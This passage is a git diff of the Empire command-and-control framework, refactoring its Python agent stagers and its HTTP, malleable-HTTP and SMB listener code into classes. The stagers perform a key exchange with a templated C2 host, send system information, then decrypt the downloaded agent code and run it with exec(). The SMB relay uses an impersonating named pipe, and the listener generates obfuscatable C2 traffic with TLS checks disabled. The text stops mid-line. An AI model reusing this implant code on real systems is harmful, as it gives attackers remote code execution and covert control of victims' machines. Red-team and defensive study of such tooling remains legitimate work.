a/empire/server/data/agent/stagers/http_malleable/http_malleable.py +++ b/empire/server/data/agent/stagers/http_malleable/http_malleable.py @@ -13,92 +13,82 @@ import string import urllib.request -{% include 'common/rc4.py' %} {% include 'common/aes.py' %} +{% include 'common/rc4.py' %} {% include 'common/diffiehellman.py' %} {% include 'common/get_sysinfo.py' %} -{% include 'common/sockschain.py' %} -def post_message(uri, data): - global headers - return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read() -# Replace with comms code REPLACE_COMMS -# generate a randomized sessionID -sessionID = b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) - -# server configuration information -stagingKey = b'{{ staging_key }}' -profile = '{{ profile }}' -WorkingHours = '{{ working_hours }}' -KillDate = '{{ kill_date }}' - -parts = profile.split('|') -taskURIs = parts[0].split(',') -userAgent = parts[1] -headersRaw = parts[2:] - -# global header dictionary -# sessionID is set by stager.py -# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} -headers = {'User-Agent': userAgent} - -# parse the headers into the global header dictionary -for headerRaw in headersRaw: - try: - headerKey = headerRaw.split(":")[0] - headerValue = headerRaw.split(":")[1] - if headerKey.lower() == "cookie": - headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue) - else: - headers[headerKey] = headerValue - except: - pass - -# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server -clientPub=DiffieHellman() -public_key = str(clientPub.publicKey).encode('UTF-8') -hmacData=aes_encrypt_then_hmac(stagingKey,public_key) - -# RC4 routing packet: -# meta = STAGE1 (2) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData) - -try: - postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}" - # response = post_message(postURI, routingPacket+hmacData) - response = post_message(postURI, routingPacket) -except: - exit() - -# decrypt the server's public key and the server nonce -packet = aes_decrypt_and_verify(stagingKey, response) -nonce = packet[0:16] -serverPub = int(packet[16:]) - -# calculate the shared secret -clientPub.genKey(serverPub) -key = clientPub.key - -# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) -postURI = server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}" -hmacData = aes_encrypt_then_hmac(key, get_sysinfo(nonce=str(int(nonce)+1)).encode('UTF-8')) - -# RC4 routing packet: -# sessionID = sessionID -# language = PYTHON (2) -# meta = STAGE2 (3) -# extra = 0 -# length = len(length) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData) - -response = post_message(postURI, routingPacket) - -# step 6 -> server sends HMAC(AES) -agent = aes_decrypt_and_verify(key, response) -agent = agent.replace('{{ working_hours }}', WorkingHours) -agent = agent.replace('{{ kill_date }}', KillDate) - -exec(agent) + +class Stage: + def __init__(self): + self.staging_key = b'{{ staging_key }}' + self.profile = '{{ profile }}' + self.server = '{{ host }}' + self.kill_date = '{{ kill_date }}' + self.working_hours = '{{ working_hours }}' + + if self.server.startswith("https"): + hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None + + self.session_id = self.generate_session_id() + self.key = None + self.headers = self.initialize_headers(self.profile) + self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, headers=self.headers, server=self.server, taskURIs=self.taskURIs) + + @staticmethod + def generate_session_id(): + return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) + + def initialize_headers(self, profile): + parts = profile.split('|') + self.taskURIs = parts[0].split(',') + userAgent = parts[1] + headersRaw = parts[2:] + headers = {'User-Agent': userAgent} + for headerRaw in headersRaw: + try: + headerKey, headerValue = headerRaw.split(":") + headers[headerKey] = headerValue + except Exception: + pass + return headers + + def execute(self): + # Diffie-Hellman Key Exchange + client_pub = DiffieHellman() + public_key = str(client_pub.publicKey).encode('UTF-8') + hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key) + + # Build and Send Routing Packet + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data) + post_uri = self.server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}" + response = self.packet_handler.post_message(post_uri, routing_packet) + + # Decrypt Server Response + packet = aes_decrypt_and_verify(self.staging_key, response) + nonce, server_pub = packet[0:16], int(packet[16:]) + + # Generate Shared Secret + client_pub.genKey(server_pub) + self.key = client_pub.key + self.packet_handler.key = self.key + + # Send System Info + post_uri = self.server + "{{ stage_2 | default('/index.php', true) | ensureleadingslash}}" + hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8')) + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data) + response = self.packet_handler.post_message(post_uri, routing_packet) + + # Decrypt and Execute Agent + agent_code = aes_decrypt_and_verify(self.key, response) + exec(agent_code, globals()) + agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours) + self.packet_handler.agent = agent + agent.run() + +# Initialize and Execute Agent +stage = Stage() +stage.execute() diff --git a/empire/server/data/agent/stagers/smb/comms.py b/empire/server/data/agent/stagers/smb/comms.py index 42ca8e7ce..3344af76b 100644 --- a/empire/server/data/agent/stagers/smb/comms.py +++ b/empire/server/data/agent/stagers/smb/comms.py @@ -10,101 +10,99 @@ import System.Collections.Generic import System.IO.Pipes import System.Threading -from System.IO.Pipes import ( - NamedPipeServerStream, - PipeDirection, - PipeOptions, - PipeTransmissionMode, -) +from System.IO.Pipes import (NamedPipeServerStream, PipeDirection, PipeOptions, + PipeTransmissionMode) from System.Security.Principal import TokenImpersonationLevel -# Create a queue to hold data to be sent through the pipe -smb_server_queue = System.Collections.Generic.Queue[str]() -send_queue = System.Collections.Generic.Queue[str]() -receive_queue = System.Collections.Generic.Queue[str]() -# Connect to the named pipe -pipe_name = "{{ pipe_name }}" -host = "{{ host }}" -pipe_client = System.IO.Pipes.NamedPipeClientStream(host, pipe_name, PipeDirection.InOut, 0, - TokenImpersonationLevel.Impersonation) -# Connect to the server -pipe_client.Connect() +class ExtendedPacketHandler(PacketHandler): + def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None): + super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key) + self.headers = headers + self.taskURIs = taskURIs + self.server = server + self.pipe_name = "{{ pipe_name }}" + self.host = "{{ host }}" -def send_results_for_child(received_data): - """ - Forwards the results of a tasking to the pipe server. - """ - send_queue.Enqueue(received_data) - return b'' + # Create a queue to hold data to be sent through the pipe + self.smb_server_queue = System.Collections.Generic.Queue[str]() + self.send_queue = System.Collections.Generic.Queue[str]() + self.receive_queue = System.Collections.Generic.Queue[str]() + self.pipe_client = System.IO.Pipes.NamedPipeClientStream(self.host, self.pipe_name, PipeDirection.InOut, 0, + TokenImpersonationLevel.Impersonation) + # Connect to the server + self.pipe_client.Connect() -def send_get_tasking_for_child(received_data): - """ - Forwards the get tasking to the pipe server. - """ - send_queue.Enqueue(received_data) - return b'' + # Create and start the separate thread for the named pipe connection + pipe_thread = threading.Thread(target=self.pipe_thread_function) + pipe_thread.daemon = True + pipe_thread.start() -def send_staging_for_child(received_data, hop_name): - """ - Forwards the staging request to the pipe server. - """ - send_queue.Enqueue(received_data) - return b'' + def send_results_for_child(self, received_data): + """ + Forwards the results of a tasking to the pipe server. + """ + self.send_queue.Enqueue(received_data) + return b'' -# Function to run in the separate thread to handle the named pipe connection -def pipe_thread_function(): - while True: - time.sleep(1) - if send_queue.Count > 0: - pipe_writer = System.IO.StreamWriter(pipe_client) - pipe_writer.WriteLine(send_queue.Peek()) - pipe_writer.Flush() - send_queue.Dequeue() + def send_get_tasking_for_child(self, received_data): + """ + Forwards the get tasking to the pipe server. + """ + self.send_queue.Enqueue(received_data) + return b'' - recv_pipe_reader = System.IO.StreamReader(pipe_client) - received_data = recv_pipe_reader.ReadLine() - receive_queue.Enqueue(received_data) + def send_staging_for_child(self, received_data, hop_name): + """ + Forwards the staging request to the pipe server. + """ + self.send_queue.Enqueue(self, received_data) + return b'' -# Create and start the separate thread for the named pipe connection -pipe_thread = threading.Thread(target=pipe_thread_function) -pipe_thread.daemon = True -pipe_thread.start() + # Function to run in the separate thread to handle the named pipe connection + def pipe_thread_function(self): + while True: + time.sleep(1) + if self.send_queue.Count > 0: + pipe_writer = System.IO.StreamWriter(self.pipe_client) + pipe_writer.WriteLine(self.send_queue.Peek()) + pipe_writer.Flush() + self.send_queue.Dequeue() -def send_message(packets=None): - global missedCheckins - global server - global headers - global taskURIs - data = None + recv_pipe_reader = System.IO.StreamReader(self.pipe_client) + received_data = recv_pipe_reader.ReadLine() + self.receive_queue.Enqueue(received_data) - if packets: - encData = aes_encrypt_then_hmac(key, packets) - data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) - data = base64.b64encode(data).decode('UTF-8') - send_queue.Enqueue("1" + data) - else: - routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) - b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') - send_queue.Enqueue("0" + b64routingPacket) + def send_message(self, packets=None): + data = None - while receive_queue.Count > 0: - data = receive_queue.Peek() - data = base64.b64decode(data) - receive_queue.Dequeue() + if packets: + encData = aes_encrypt_then_hmac(self.key, packets) + data = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=encData) + data = base64.b64encode(data).decode('UTF-8') + self.send_queue.Enqueue("1" + data) + else: + routing_packet = self.build_routing_packet(self.staging_key, self.session_id, meta=4) + b64routing_packet = base64.b64encode(routing_packet).decode('UTF-8') + self.send_queue.Enqueue("0" + b64routing_packet) + + while self.receive_queue.Count > 0: + data = self.receive_queue.Peek() + data = base64.b64decode(data) + self.receive_queue.Dequeue() - try: - send_job_message_buffer() - except Exception as e: - result = build_response_packet( - 0, str("[!] Failed to check job buffer!: " + str(e)) - ) - process_job_tasking(result) - if data.strip() == defaultResponse.strip() or data == base64.b64encode(defaultResponse): - missedCheckins = 0 + try: + self.agent.send_job_message_buffer() + except Exception as e: + result = self.build_response_packet( + 0, str("[!] Failed to check job buffer!: " + str(e)) + ) + self.process_job_tasking(result) + if data.strip() == self.agent.defaultResponse.strip() or data == base64.b64encode(self.agent.defaultResponse): + self.missedCheckins = 0 + else: + self.decode_routing_packet(data) + if data: + return '200', data else: - decode_routing_packet(data) - if data: - return '200', data - else: - return '', '' \ No newline at end of file + return '', '' diff --git a/empire/server/data/agent/stagers/smb/smb.py b/empire/server/data/agent/stagers/smb/smb.py index abf39af51..a5298a66e 100644 --- a/empire/server/data/agent/stagers/smb/smb.py +++ b/empire/server/data/agent/stagers/smb/smb.py @@ -12,103 +12,99 @@ import base64 import random import string +import time +import urllib.request -{% include 'common/rc4.py' %} {% include 'common/aes.py' %} +{% include 'common/rc4.py' %} {% include 'common/diffiehellman.py' %} {% include 'common/get_sysinfo.py' %} {% include 'smb/comms.py' %} -# generate a randomized sessionID -sessionID = b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) - -# server configuration information -stagingKey = b'{{ staging_key }}' -profile = '{{ profile }}' -WorkingHours = '{{ working_hours }}' -KillDate = '{{ kill_date }}' -server = '' - -parts = profile.split('|') -taskURIs = parts[0].split(',') -userAgent = parts[1] -headersRaw = parts[2:] - -# global header dictionary -# sessionID is set by stager.py -# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} -headers = {'User-Agent': userAgent} - -# parse the headers into the global header dictionary -for headerRaw in headersRaw: - try: - headerKey = headerRaw.split(":")[0] - headerValue = headerRaw.split(":")[1] - if headerKey.lower() == "cookie": - headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue) - else: - headers[headerKey] = headerValue - except: - pass - -# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server -clientPub=DiffieHellman() -public_key = str(clientPub.publicKey).encode('UTF-8') -hmacData=aes_encrypt_then_hmac(stagingKey,public_key) - -# RC4 routing packet: -# meta = STAGE1 (2) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData) - -#try: -#postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}" -# response = post_message(postURI, routingPacket+hmacData) -b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') -send_queue.Enqueue("2" + b64routingPacket) - -while receive_queue.Count == 0: - time.sleep(1) - -data = receive_queue.Peek() -print(data) -response = base64.b64decode(data) -receive_queue.Dequeue() -print(response) - -# decrypt the server's public key and the server nonce -packet = aes_decrypt_and_verify(stagingKey, response) -nonce = packet[0:16] -serverPub = int(packet[16:]) - -# calculate the shared secret -clientPub.genKey(serverPub) -key = clientPub.key - - -# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) -hmacData = aes_encrypt_then_hmac(key, get_sysinfo(nonce=str(int(nonce)+1)).encode('UTF-8')) - -# RC4 routing packet: -# sessionID = sessionID -# language = PYTHON (2) -# meta = STAGE2 (3) -# extra = 0 -# length = len(length) -routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData) -b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') -send_queue.Enqueue("2" + b64routingPacket) - -while receive_queue.Count == 0: - time.sleep(1) - -data = receive_queue.Peek() -response = base64.b64decode(data) -receive_queue.Dequeue() - -# step 6 -> server sends HMAC(AES) -agent = aes_decrypt_and_verify(key, response) -agent = agent.replace('{{ working_hours }}', WorkingHours) -agent = agent.replace('{{ kill_date }}', KillDate) - -exec(agent) +class Stage: + def __init__(self): + self.staging_key = b'{{ staging_key }}' + self.profile = '{{ profile }}' + self.server = '{{ host }}' + self.kill_date = '{{ kill_date }}' + self.working_hours = '{{ working_hours }}' + + if self.server.startswith("https"): + hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None + + self.session_id = self.generate_session_id() + self.key = None + self.headers = self.initialize_headers(self.profile) + self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, headers=self.headers, server=self.server, taskURIs=self.taskURIs) + + @staticmethod + def generate_session_id(): + return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8)) + + def initialize_headers(self, profile): + parts = profile.split('|') + self.taskURIs = parts[0].split(',') + userAgent = parts[1] + headersRaw = parts[2:] + headers = {'User-Agent': userAgent} + for headerRaw in headersRaw: + try: + headerKey, headerValue = headerRaw.split(":") + headers[headerKey] = headerValue + except Exception: + pass + return headers + + def execute(self): + # Diffie-Hellman Key Exchange + client_pub = DiffieHellman() + public_key = str(client_pub.publicKey).encode('UTF-8') + hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key) + + # Build and Send Routing Packet + + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data) + b64routing_packet = base64.b64encode(routing_packet).decode('UTF-8') + self.packet_handler.send_queue.Enqueue("2" + b64routing_packet) + + while self.packet_handler.receive_queue.Count == 0: + time.sleep(1) + + data = self.packet_handler.receive_queue.Peek() + response = base64.b64decode(data) + self.packet_handler.receive_queue.Dequeue() + + # Decrypt Server Response + packet = aes_decrypt_and_verify(self.staging_key, response) + nonce, server_pub = packet[0:16], int(packet[16:]) + + # Generate Shared Secret + client_pub.genKey(server_pub) + self.key = client_pub.key + self.packet_handler.key = self.key + + # Send System Info + hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8')) + routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data) + + b64routing_packet = base64.b64encode(routing_packet).decode('UTF-8') + self.packet_handler.send_queue.Enqueue("2" + b64routing_packet) + + while self.packet_handler.receive_queue.Count == 0: + time.sleep(1) + + data = self.packet_handler.receive_queue.Peek() + response = base64.b64decode(data) + self.packet_handler.receive_queue.Dequeue() + + # Decrypt and Execute Agent + agent_code = aes_decrypt_and_verify(self.key, response) + exec(agent_code, globals()) + agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours) + self.packet_handler.agent = agent + agent.run() + +# Initialize and Execute Agent +stage = Stage() +stage.execute() diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index f88a9a9c5..b5fc28b46 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -694,8 +694,8 @@ def generate_agent( jitter = listenerOptions["DefaultJitter"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - workingHours = listenerOptions["WorkingHours"]["Value"] + listenerOptions["KillDate"]["Value"] + listenerOptions["WorkingHours"]["Value"] b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8")) if language == "powershell": @@ -738,29 +738,17 @@ def generate_agent( code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile - code = code.replace("delay = 60", f"delay = { delay }") - code = code.replace("jitter = 0.0", f"jitter = { jitter }") + code = code.replace("delay=60", f"delay={ delay }") + code = code.replace("jitter=0.0", f"jitter={ jitter }") code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', f'profile = "{ profile }"', ) - code = code.replace("lostLimit = 60", f"lostLimit = { lostLimit }") code = code.replace( 'defaultResponse = base64.b64decode("")', f'defaultResponse = base64.b64decode("{ b64DefaultResponse.decode("UTF-8") }")', ) - # patch in the killDate and workingHours if they're specified - if killDate != "": - code = code.replace( - 'killDate = "REPLACE_KILLDATE"', f'killDate = "{ killDate }"' - ) - if workingHours != "": - code = code.replace( - 'workingHours = "REPLACE_WORKINGHOURS"', - f'workingHours = "{ killDate }"', - ) - if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 0e6551ea0..04272a32b 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -759,8 +759,8 @@ def generate_agent( delay = listenerOptions["DefaultDelay"]["Value"] jitter = listenerOptions["DefaultJitter"]["Value"] lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - workingHours = listenerOptions["WorkingHours"]["Value"] + listenerOptions["KillDate"]["Value"] + listenerOptions["WorkingHours"]["Value"] b64DefaultResponse = base64.b64encode( self.default_response().encode("UTF-8") ).decode("UTF-8") @@ -813,26 +813,17 @@ def generate_agent( code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile - code = code.replace("delay = 60", f"delay = { delay }") - code = code.replace("jitter = 0.0", f"jitter = { jitter }") + code = code.replace("delay=60", f"delay={ delay }") + code = code.replace("jitter=0.0", f"jitter={ jitter }") code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', f'profile = "{ profileStr }"', ) - code = code.replace("lostLimit = 60", f"lostLimit = { lostLimit }") code = code.replace( 'defaultResponse = base64.b64decode("")', f'defaultResponse = base64.b64decode("{ b64DefaultResponse }")', ) - # patch in the killDate and workingHours if they're specified - if killDate != "": - code = code.replace('killDate = ""', f'killDate = "{ killDate }"') - if workingHours != "": - code = code.replace( - 'workingHours = ""', f'workingHours = "{ workingHours }"' - ) - if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) @@ -1092,33 +1083,59 @@ def generate_comms(self, listenerOptions, language=None): return updateServers + getTask + sendMessage elif language.lower() == "python": - # Python - updateServers = "server = '%s'\n" % (host) - - # ==== HANDLE SSL ==== - if host.startswith("https"): - updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None\n" + sendMessage = f""" +import base64 +import urllib +import random +import sys - sendMessage = "def send_message(packets=None):\n" - sendMessage += " global missedCheckins\n" - sendMessage += " global server\n" - sendMessage += " global headers\n" - sendMessage += " global taskURIs\n" - sendMessage += " vreq = type('vreq', (urllib.request.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" +class ExtendedPacketHandler(PacketHandler): + def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None): + super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key) + self.headers = headers + self.taskURIs = taskURIs + self.server = server + + def post_message(self, uri, data): + return (urllib.request.urlopen(urllib.request.Request(uri, data, self.headers))).read() + + def send_results_for_child(self, received_data): + self.headers['Cookie'] = "session=%s" % (received_data[1:]) + taskUri = random.sample({str(profile.post.client.uris)}, 1)[0] + requestUri = self.server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, self.headers))).read() + return response + + def send_get_tasking_for_child(self, received_data): + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + taskUri = random.sample({str(profile.post.client.uris)}, 1)[0] + requestUri = self.server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, self.headers))).read() + return response + + def send_staging_for_child(self, received_data, hop_name): + postURI = self.server + "/login/process.php" + self.headers['Hop-Name'] = hop_name + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, self.headers))).read() + return response +""" + sendMessage += " def send_message(self, packets=None):\n" + sendMessage += " vreq = type('vreq', (urllib.request.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" # ==== BUILD POST ==== - sendMessage += " if packets:\n" + sendMessage += " if packets:\n" # ==== BUILD ROUTING PACKET ==== sendMessage += ( - " encData = aes_encrypt_then_hmac(key, packets);\n" + " encData = aes_encrypt_then_hmac(self.key, packets);\n" ) - sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData);\n" + sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=encData);\n" sendMessage += ( "\n".join( [ - " " + _ + " " + _ for _ in profile.post.client.output.generate_python( "routingPacket" ).split("\n") @@ -1129,74 +1146,86 @@ def generate_comms(self, listenerOptions, language=None): # ==== CHOOSE URI ==== sendMessage += ( - " taskUri = random.sample(" + " taskUri = random.sample(" + str(profile.post.client.uris) + ", 1)[0]\n" ) - sendMessage += " requestUri = server + taskUri\n" + sendMessage += " requestUri = self.server + taskUri\n" # ==== ADD PARAMETERS ==== - sendMessage += " parameters = {}\n" + sendMessage += " parameters = {}\n" for parameter, value in profile.post.client.parameters.items(): sendMessage += ( - " parameters['" + parameter + "'] = '" + value + "'\n" + " parameters['" + + parameter + + "'] = '" + + value + + "'\n" ) if ( profile.post.client.output.terminator.type == malleable.Terminator.PARAMETER ): sendMessage += ( - " parameters['" + " parameters['" + profile.post.client.output.terminator.arg + "'] = routingPacket;\n" ) - sendMessage += " if parameters:\n" - sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" + sendMessage += " if parameters:\n" + sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" if ( profile.post.client.output.terminator.type == malleable.Terminator.URIAPPEND ): - sendMessage += " requestUri += routingPacket\n" + sendMessage += " requestUri += routingPacket\n" # ==== ADD BODY ==== if ( profile.post.client.output.terminator.type == malleable.Terminator.PRINT ): - sendMessage += " body = routingPacket\n" + sendMessage += " body = routingPacket\n" else: - sendMessage += " body = '" + profile.post.client.body + "'\n" - sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" + sendMessage += ( + " body = '" + profile.post.client.body + "'\n" + ) + sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" # ==== BUILD REQUEST ==== - sendMessage += " req = vreq(requestUri, body)\n" - sendMessage += " req.verb = '" + profile.post.client.verb + "'\n" + sendMessage += " req = vreq(requestUri, body)\n" + sendMessage += ( + " req.verb = '" + profile.post.client.verb + "'\n" + ) # ==== ADD HEADERS ==== for header, value in profile.post.client.headers.items(): sendMessage += ( - " req.add_header('" + header + "', '" + value + "')\n" + " req.add_header('" + + header + + "', '" + + value + + "')\n" ) if ( profile.post.client.output.terminator.type == malleable.Terminator.HEADER ): sendMessage += ( - " req.add_header('" + " req.add_header('" + profile.post.client.output.terminator.arg + "', routingPacket)\n" ) # ==== BUILD GET ==== - sendMessage += " else:\n" + sendMessage += " else:\n" # ==== BUILD ROUTING PACKET - sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=4);\n" + sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=4);\n" sendMessage += ( "\n".join( [ - " " + _ + " " + _ for _ in profile.get.client.metadata.generate_python( "routingPacket" ).split("\n") @@ -1207,68 +1236,80 @@ def generate_comms(self, listenerOptions, language=None): # ==== CHOOSE URI ==== sendMessage += ( - " taskUri = random.sample(" + " taskUri = random.sample(" + str(profile.get.client.uris) + ", 1)[0]\n" ) - sendMessage += " requestUri = server + taskUri;\n" + sendMessage += " requestUri = self.server + taskUri;\n" # ==== ADD PARAMETERS ==== - sendMessage += " parameters = {}\n" + sendMessage += " parameters = {}\n" for parameter, value in profile.get.client.parameters.items(): sendMessage += ( - " parameters['" + parameter + "'] = '" + value + "'\n" + " parameters['" + + parameter + + "'] = '" + + value + + "'\n" ) if ( profile.get.client.metadata.terminator.type == malleable.Terminator.PARAMETER ): sendMessage += ( - " parameters['" + " parameters['" + profile.get.client.metadata.terminator.arg + "'] = routingPacket\n" ) - sendMessage += " if parameters:\n" - sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" + sendMessage += " if parameters:\n" + sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" if ( profile.get.client.metadata.terminator.type == malleable.Terminator.URIAPPEND ): - sendMessage += " requestUri += routingPacket;\n" + sendMessage += " requestUri += routingPacket;\n" # ==== ADD BODY ==== if ( profile.get.client.metadata.terminator.type == malleable.Terminator.PRINT ): - sendMessage += " body = routingPacket\n" + sendMessage += " body = routingPacket\n" else: - sendMessage += " body = '" + profile.get.client.body + "'\n" - sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" + sendMessage += ( + " body = '" + profile.get.client.body + "'\n" + ) + sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" # ==== BUILD REQUEST ==== - sendMessage += " req = vreq(requestUri, body)\n" - sendMessage += " req.verb = '" + profile.get.client.verb + "'\n" + sendMessage += " req = vreq(requestUri, body)\n" + sendMessage += ( + " req.verb = '" + profile.get.client.verb + "'\n" + ) # ==== ADD HEADERS ==== for header, value in profile.get.client.headers.items(): sendMessage += ( - " req.add_header('" + header + "', '" + value + "')\n" + " req.add_header('" + + header + + "', '" + + value + + "')\n" ) if ( profile.get.client.metadata.terminator.type == malleable.Terminator.HEADER ): sendMessage += ( - " req.add_header('" + " req.add_header('" + profile.get.client.metadata.terminator.arg + "', routingPacket)\n" ) # ==== SEND REQUEST ==== - sendMessage += " try:\n" - sendMessage += " res = urllib.request.urlopen(req);\n" + sendMessage += " try:\n" + sendMessage += " res = urllib.request.urlopen(req);\n" # ==== EXTRACT RESPONSE ==== if ( @@ -1277,18 +1318,18 @@ def generate_comms(self, listenerOptions, language=None): ): header = profile.get.server.output.terminator.arg sendMessage += ( - " data = res.info().dict['" + " data = res.info().dict['" + header + "'] if '" + header + "' in res.info().dict else ''\n" ) - sendMessage += " data = urllib.parse.unquote(data)\n" + sendMessage += " data = urllib.parse.unquote(data)\n" elif ( profile.get.server.output.terminator.type == malleable.Terminator.PRINT ): - sendMessage += " data = res.read()\n" + sendMessage += " data = res.read()\n" # ==== DECODE RESPONSE ==== sendMessage += ( @@ -1303,24 +1344,22 @@ def generate_comms(self, listenerOptions, language=None): + "\n" ) # before return we encode to bytes, since in some transformations "join" produces str - sendMessage += ( - " if isinstance(data,str): data = data.encode('latin-1');\n" - ) - sendMessage += " return ('200', data)\n" + sendMessage += " if isinstance(data,str): data = data.encode('latin-1');\n" + sendMessage += " return ('200', data)\n" # ==== HANDLE ERROR ==== - sendMessage += " except urllib.request.HTTPError as HTTPError:\n" - sendMessage += " missedCheckins += 1\n" - sendMessage += " if HTTPError.code == 401:\n" - sendMessage += " sys.exit(0)\n" - sendMessage += " return (HTTPError.code, '')\n" - sendMessage += " except urllib.request.URLError as URLError:\n" - sendMessage += " missedCheckins += 1\n" - sendMessage += " return (URLError.reason, '')\n" - - sendMessage += " return ('', '')\n" - - return updateServers + sendMessage + sendMessage += " except urllib.request.HTTPError as HTTPError:\n" + sendMessage += " self.missedCheckins += 1\n" + sendMessage += " if HTTPError.code == 401:\n" + sendMessage += " sys.exit(0)\n" + sendMessage += " return (HTTPError.code, '')\n" + sendMessage += " except urllib.request.URLError as URLError:\n" + sendMessage += " self.missedCheckins += 1\n" + sendMessage += " return (URLError.reason, '')\n" + + sendMessage += " return ('', '')\n" + + return sendMessage else: log.error( diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index af8c26cde..cf57d35e2 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -332,9 +332,9 @@ def generate_agent( delay = listenerOptions["DefaultDelay"]["Value"] jitter = listenerOptions["DefaultJitter"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] - lostLimit = 